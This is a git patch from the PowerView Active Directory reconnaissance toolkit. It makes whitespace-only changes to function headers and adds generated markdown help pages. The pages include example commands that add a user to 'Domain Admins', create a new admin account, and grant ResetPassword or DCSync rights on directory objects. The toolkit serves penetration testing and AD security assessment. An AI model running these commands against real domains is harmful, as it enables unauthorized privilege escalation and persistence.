+10059,9 @@ function Get-GroupsXML { Helper to parse a groups.xml file path into a custom object. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID .DESCRIPTION @@ -10190,9 +10190,9 @@ function Get-DomainGPO { Return all GPOs or specific GPO objects in AD. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty .DESCRIPTION @@ -10596,9 +10596,9 @@ function Get-DomainGPOLocalGroup { Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences. Also return their user membership mappings, if they exist. -Author: @harmj0y -License: BSD 3-Clause -Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID .DESCRIPTION @@ -10919,9 +10919,9 @@ Enumerates the machines where a specific domain user/group is a member of a spec local group, all through GPO correlation. If no user/group is specified, all discoverable mappings are returned. -Author: @harmj0y -License: BSD 3-Clause -Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup .DESCRIPTION @@ -11227,9 +11227,9 @@ function Get-DomainGPOComputerLocalGroupMapping { Takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation. -Author: @harmj0y -License: BSD 3-Clause -Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup .DESCRIPTION @@ -11454,9 +11454,9 @@ function Get-DomainPolicy { Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID .DESCRIPTION @@ -11637,9 +11637,9 @@ function Get-NetLocalGroup { Enumerates the local groups on the local (or remote) machine. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -11817,9 +11817,9 @@ function Get-NetLocalGroupMember { Enumerates members of a specific local group on the local (or remote) machine. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect, Convert-ADName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Convert-ADName .DESCRIPTION @@ -12133,9 +12133,9 @@ function Get-NetShare { Returns open shares on the local (or a remote) machine. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION @@ -12268,9 +12268,9 @@ function Get-NetLoggedon { Returns users logged on the local (or a remote) machine. Note: administrative rights needed for newer Windows OSes. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION @@ -12402,9 +12402,9 @@ function Get-NetSession { Returns session information for the local (or a remote) machine. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION @@ -12541,9 +12541,9 @@ through enumeration of remote registry keys. Note: This function requires only domain user rights on the machine you're enumerating, but remote registry must be enabled. -Author: Matt Kelly (@BreakersAll) -License: BSD 3-Clause -Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID +Author: Matt Kelly (@BreakersAll) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID .DESCRIPTION @@ -12662,9 +12662,9 @@ Returns remote desktop/session information for the local (or a remote) machine. Note: only members of the Administrators or Account Operators local group can successfully execute this functionality on a remote target. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION @@ -12854,14 +12854,14 @@ function Test-AdminAccess { Tests if the current user has administrative access to the local (or a remote) machine. -Idea stolen from the local_admin_search_enum post module in Metasploit written by: - 'Brandon McCann "zeknox" ' - 'Thomas McCarthy "smilingraccoon" ' - 'Royce Davis "r3dy" ' +Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION @@ -12967,9 +12967,9 @@ function Get-NetComputerSiteName { Returns the AD site where the local (or a remote) machine resides. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION @@ -13081,9 +13081,9 @@ function Get-WMIRegProxy { Enumerates the proxy server and WPAD conents for the current user. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -13204,9 +13204,9 @@ Returns the last user who logged onto the local (or a remote) machine. Note: This function requires administrative rights on the machine you're enumerating. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -13312,9 +13312,9 @@ Returns information about RDP connections outgoing from the local (or remote) ma Note: This function requires administrative rights on the machine you're enumerating. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: ConvertFrom-SID +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID .DESCRIPTION @@ -13463,9 +13463,9 @@ Returns information about saved network mounted drives for the local (or remote) Note: This function requires administrative rights on the machine you're enumerating. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: ConvertFrom-SID +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID .DESCRIPTION @@ -13596,9 +13596,9 @@ function Get-WMIProcess { Returns a list of processes and their owners on the local or remote machine. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -13681,9 +13681,9 @@ function Find-InterestingFile { Searches for files on the given path that match a series of specified criteria. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection .DESCRIPTION @@ -14071,9 +14071,9 @@ function Find-DomainUserLocation { Finds domain machines where specific users are logged into. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction .DESCRIPTION @@ -14669,9 +14669,9 @@ that match a particular user specification or process name. Thanks to @paulbrandau for the approach idea. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction .DESCRIPTION @@ -15106,9 +15106,9 @@ function Find-DomainUserEvent { Finds logon events on the current (or remote domain) for the specified users. -Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction .DESCRIPTION @@ -15529,9 +15529,9 @@ function Find-DomainShare { Searches for computer shares on the domain. If -CheckShareAccess is passed, then only shares the current user has read access to are returned. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction .DESCRIPTION @@ -15852,9 +15852,9 @@ function Find-InterestingDomainShareFile { Searches for files matching specific criteria on readable shares in the domain. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction .DESCRIPTION @@ -16269,9 +16269,9 @@ function Find-LocalAdminAccess { Finds machines on the local domain where the current user has local administrator access. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction .DESCRIPTION @@ -16568,9 +16568,9 @@ function Find-DomainLocalGroupMember { Enumerates the members of specified local group (default administrators) for all the targeted machines on the current (or specified) domain. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction .DESCRIPTION @@ -16892,9 +16892,9 @@ function Get-DomainTrust { Return all domain trusts for the current domain or a specified domain. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect .DESCRIPTION @@ -17261,9 +17261,9 @@ function Get-ForestTrust { Return all forest trusts for the current forest or a specified forest. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-Forest +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest .DESCRIPTION @@ -17346,9 +17346,9 @@ function Get-DomainForeignUser { Enumerates users who are in groups outside of the user's domain. This is a domain's "outgoing" access. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-Domain, Get-DomainUser +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser .DESCRIPTION @@ -17552,9 +17552,9 @@ function Get-DomainForeignGroupMember { Enumerates groups with users outside of the group's domain and returns each foreign member. This is a domain's "incoming" access. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-Domain, Get-DomainGroup +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainGroup .DESCRIPTION @@ -17761,9 +17761,9 @@ function Get-DomainTrustMapping { This function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust .DESCRIPTION From 0aaa23cd8656f0b92f2fac3cd8e6be68eed7d809 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 21:05:08 -0500 Subject: [PATCH 207/296] first take at platyPS doc generation --- docs/Recon/Add-DomainGroupMember.md | 142 +++++ docs/Recon/Add-DomainObjectAcl.md | 361 +++++++++++ docs/Recon/Add-RemoteConnection.md | 114 ++++ docs/Recon/Convert-ADName.md | 184 ++++++ docs/Recon/ConvertFrom-SID.md | 126 ++++ docs/Recon/ConvertFrom-UACValue.md | 127 ++++ docs/Recon/ConvertTo-SID.md | 120 ++++ docs/Recon/Export-PowerViewCSV.md | 117 ++++ docs/Recon/Find-DomainLocalGroupMember.md | 351 +++++++++++ .../Recon/Find-DomainObjectPropertyOutlier.md | 261 ++++++++ docs/Recon/Find-DomainProcess.md | 517 ++++++++++++++++ docs/Recon/Find-DomainShare.md | 335 ++++++++++ docs/Recon/Find-DomainUserEvent.md | 451 ++++++++++++++ docs/Recon/Find-DomainUserLocation.md | 579 ++++++++++++++++++ docs/Recon/Find-InterestingDomainAcl.md | 239 ++++++++ docs/Recon/Find-InterestingDomainShareFile.md | 463 ++++++++++++++ docs/Recon/Find-InterestingFile.md | 248 ++++++++ docs/Recon/Find-LocalAdminAccess.md | 337 ++++++++++ docs/Recon/Get-ComputerDetails.md | 68 ++ docs/Recon/Get-Domain.md | 81 +++ docs/Recon/Get-DomainComputer.md | 426 +++++++++++++ docs/Recon/Get-DomainController.md | 132 ++++ docs/Recon/Get-DomainDFSShare.md | 202 ++++++ docs/Recon/Get-DomainDNSRecord.md | 181 ++++++ docs/Recon/Get-DomainDNSZone.md | 156 +++++ docs/Recon/Get-DomainFileServer.md | 200 ++++++ docs/Recon/Get-DomainForeignGroupMember.md | 238 +++++++ docs/Recon/Get-DomainForeignUser.md | 239 ++++++++ docs/Recon/Get-DomainGPO.md | 354 +++++++++++ .../Get-DomainGPOComputerLocalGroupMapping.md | 263 ++++++++ docs/Recon/Get-DomainGPOLocalGroup.md | 259 ++++++++ .../Get-DomainGPOUserLocalGroupMapping.md | 258 ++++++++ docs/Recon/Get-DomainGroup.md | 397 ++++++++++++ docs/Recon/Get-DomainGroupMember.md | 401 ++++++++++++ docs/Recon/Get-DomainManagedSecurityGroup.md | 177 ++++++ docs/Recon/Get-DomainOU.md | 316 ++++++++++ docs/Recon/Get-DomainObject.md | 318 ++++++++++ docs/Recon/Get-DomainObjectAcl.md | 251 ++++++++ docs/Recon/Get-DomainPolicy.md | 159 +++++ docs/Recon/Get-DomainSID.md | 102 +++ docs/Recon/Get-DomainSPNTicket.md | 136 ++++ docs/Recon/Get-DomainSite.md | 309 ++++++++++ docs/Recon/Get-DomainSubnet.md | 309 ++++++++++ docs/Recon/Get-DomainTrust.md | 250 ++++++++ docs/Recon/Get-DomainTrustMapping.md | 220 +++++++ docs/Recon/Get-DomainUser.md | 426 +++++++++++++ docs/Recon/Get-DomainUserEvent.md | 144 +++++ docs/Recon/Get-Forest.md | 80 +++ docs/Recon/Get-ForestDomain.md | 82 +++ docs/Recon/Get-ForestGlobalCatalog.md | 78 +++ docs/Recon/Get-ForestTrust.md | 91 +++ docs/Recon/Get-HttpStatus.md | 106 ++++ docs/Recon/Get-NetComputerSiteName.md | 89 +++ docs/Recon/Get-NetLocalGroup.md | 132 ++++ docs/Recon/Get-NetLocalGroupMember.md | 212 +++++++ docs/Recon/Get-NetLoggedon.md | 100 +++ docs/Recon/Get-NetRDPSession.md | 104 ++++ docs/Recon/Get-NetSession.md | 99 +++ docs/Recon/Get-NetShare.md | 100 +++ docs/Recon/Get-PathAcl.md | 94 +++ docs/Recon/Get-RegLoggedOn.md | 89 +++ docs/Recon/Get-WMIProcess.md | 80 +++ docs/Recon/Get-WMIRegCachedRDPConnection.md | 99 +++ docs/Recon/Get-WMIRegLastLoggedOn.md | 98 +++ docs/Recon/Get-WMIRegMountedDrive.md | 97 +++ docs/Recon/Get-WMIRegProxy.md | 93 +++ docs/Recon/Invoke-Kerberoast.md | 233 +++++++ docs/Recon/Invoke-Portscan.md | 430 +++++++++++++ docs/Recon/Invoke-ReverseDnsLookup.md | 106 ++++ docs/Recon/Invoke-RevertToSelf.md | 56 ++ docs/Recon/Invoke-UserImpersonation.md | 100 +++ docs/Recon/New-DomainGroup.md | 150 +++++ docs/Recon/New-DomainUser.md | 184 ++++++ docs/Recon/Remove-RemoteConnection.md | 84 +++ docs/Recon/Resolve-IPAddress.md | 66 ++ docs/Recon/Set-DomainObject.md | 346 +++++++++++ docs/Recon/Test-AdminAccess.md | 101 +++ 77 files changed, 15823 insertions(+) create mode 100755 docs/Recon/Add-DomainGroupMember.md create mode 100755 docs/Recon/Add-DomainObjectAcl.md create mode 100755 docs/Recon/Add-RemoteConnection.md create mode 100755 docs/Recon/Convert-ADName.md create mode 100755 docs/Recon/ConvertFrom-SID.md create mode 100755 docs/Recon/ConvertFrom-UACValue.md create mode 100755 docs/Recon/ConvertTo-SID.md create mode 100755 docs/Recon/Export-PowerViewCSV.md create mode 100755 docs/Recon/Find-DomainLocalGroupMember.md create mode 100755 docs/Recon/Find-DomainObjectPropertyOutlier.md create mode 100755 docs/Recon/Find-DomainProcess.md create mode 100755 docs/Recon/Find-DomainShare.md create mode 100755 docs/Recon/Find-DomainUserEvent.md create mode 100755 docs/Recon/Find-DomainUserLocation.md create mode 100755 docs/Recon/Find-InterestingDomainAcl.md create mode 100755 docs/Recon/Find-InterestingDomainShareFile.md create mode 100755 docs/Recon/Find-InterestingFile.md create mode 100755 docs/Recon/Find-LocalAdminAccess.md create mode 100755 docs/Recon/Get-ComputerDetails.md create mode 100755 docs/Recon/Get-Domain.md create mode 100755 docs/Recon/Get-DomainComputer.md create mode 100755 docs/Recon/Get-DomainController.md create mode 100755 docs/Recon/Get-DomainDFSShare.md create mode 100755 docs/Recon/Get-DomainDNSRecord.md create mode 100755 docs/Recon/Get-DomainDNSZone.md create mode 100755 docs/Recon/Get-DomainFileServer.md create mode 100755 docs/Recon/Get-DomainForeignGroupMember.md create mode 100755 docs/Recon/Get-DomainForeignUser.md create mode 100755 docs/Recon/Get-DomainGPO.md create mode 100755 docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md create mode 100755 docs/Recon/Get-DomainGPOLocalGroup.md create mode 100755 docs/Recon/Get-DomainGPOUserLocalGroupMapping.md create mode 100755 docs/Recon/Get-DomainGroup.md create mode 100755 docs/Recon/Get-DomainGroupMember.md create mode 100755 docs/Recon/Get-DomainManagedSecurityGroup.md create mode 100755 docs/Recon/Get-DomainOU.md create mode 100755 docs/Recon/Get-DomainObject.md create mode 100755 docs/Recon/Get-DomainObjectAcl.md create mode 100755 docs/Recon/Get-DomainPolicy.md create mode 100755 docs/Recon/Get-DomainSID.md create mode 100755 docs/Recon/Get-DomainSPNTicket.md create mode 100755 docs/Recon/Get-DomainSite.md create mode 100755 docs/Recon/Get-DomainSubnet.md create mode 100755 docs/Recon/Get-DomainTrust.md create mode 100755 docs/Recon/Get-DomainTrustMapping.md create mode 100755 docs/Recon/Get-DomainUser.md create mode 100755 docs/Recon/Get-DomainUserEvent.md create mode 100755 docs/Recon/Get-Forest.md create mode 100755 docs/Recon/Get-ForestDomain.md create mode 100755 docs/Recon/Get-ForestGlobalCatalog.md create mode 100755 docs/Recon/Get-ForestTrust.md create mode 100755 docs/Recon/Get-HttpStatus.md create mode 100755 docs/Recon/Get-NetComputerSiteName.md create mode 100755 docs/Recon/Get-NetLocalGroup.md create mode 100755 docs/Recon/Get-NetLocalGroupMember.md create mode 100755 docs/Recon/Get-NetLoggedon.md create mode 100755 docs/Recon/Get-NetRDPSession.md create mode 100755 docs/Recon/Get-NetSession.md create mode 100755 docs/Recon/Get-NetShare.md create mode 100755 docs/Recon/Get-PathAcl.md create mode 100755 docs/Recon/Get-RegLoggedOn.md create mode 100755 docs/Recon/Get-WMIProcess.md create mode 100755 docs/Recon/Get-WMIRegCachedRDPConnection.md create mode 100755 docs/Recon/Get-WMIRegLastLoggedOn.md create mode 100755 docs/Recon/Get-WMIRegMountedDrive.md create mode 100755 docs/Recon/Get-WMIRegProxy.md create mode 100755 docs/Recon/Invoke-Kerberoast.md create mode 100755 docs/Recon/Invoke-Portscan.md create mode 100755 docs/Recon/Invoke-ReverseDnsLookup.md create mode 100755 docs/Recon/Invoke-RevertToSelf.md create mode 100755 docs/Recon/Invoke-UserImpersonation.md create mode 100755 docs/Recon/New-DomainGroup.md create mode 100755 docs/Recon/New-DomainUser.md create mode 100755 docs/Recon/Remove-RemoteConnection.md create mode 100755 docs/Recon/Resolve-IPAddress.md create mode 100755 docs/Recon/Set-DomainObject.md create mode 100755 docs/Recon/Test-AdminAccess.md diff --git a/docs/Recon/Add-DomainGroupMember.md b/docs/Recon/Add-DomainGroupMember.md new file mode 100755 index 00000000..cc563e92 --- /dev/null +++ b/docs/Recon/Add-DomainGroupMember.md @@ -0,0 +1,142 @@ +# Add-DomainGroupMember + +## SYNOPSIS +Adds a domain user (or group) to an existing domain group, assuming +appropriate permissions to do so. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +Add-DomainGroupMember [-Identity] -Members [-Domain ] [-Credential ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. +For +each entry in -Members, each member identity is similarly searched for and added +to the group. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' +``` + +Adds harmj0y to 'Domain Admins' in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred + +Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +## PARAMETERS + +### -Identity +A group SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to add members to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: GroupName, GroupIdentity + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Members +One or more member identities, i.e. +SamAccountName (e.g. +Group1), DistinguishedName +(e.g. +CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: MemberIdentity, Member, DistinguishedName + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/) + diff --git a/docs/Recon/Add-DomainObjectAcl.md b/docs/Recon/Add-DomainObjectAcl.md new file mode 100755 index 00000000..c530e810 --- /dev/null +++ b/docs/Recon/Add-DomainObjectAcl.md @@ -0,0 +1,361 @@ +# Add-DomainObjectAcl + +## SYNOPSIS +Adds an ACL for a specific active directory object. + +AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +## SYNTAX + +``` +Add-DomainObjectAcl [[-TargetIdentity] ] [-TargetDomain ] [-TargetLDAPFilter ] + [-TargetSearchBase ] -PrincipalIdentity [-PrincipalDomain ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] [-Rights ] [-RightsGUID ] +``` + +## DESCRIPTION +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. +Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. +These rights are granted on the target +object for the specified -PrincipalIdentity. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +``` + +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +... + +Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : 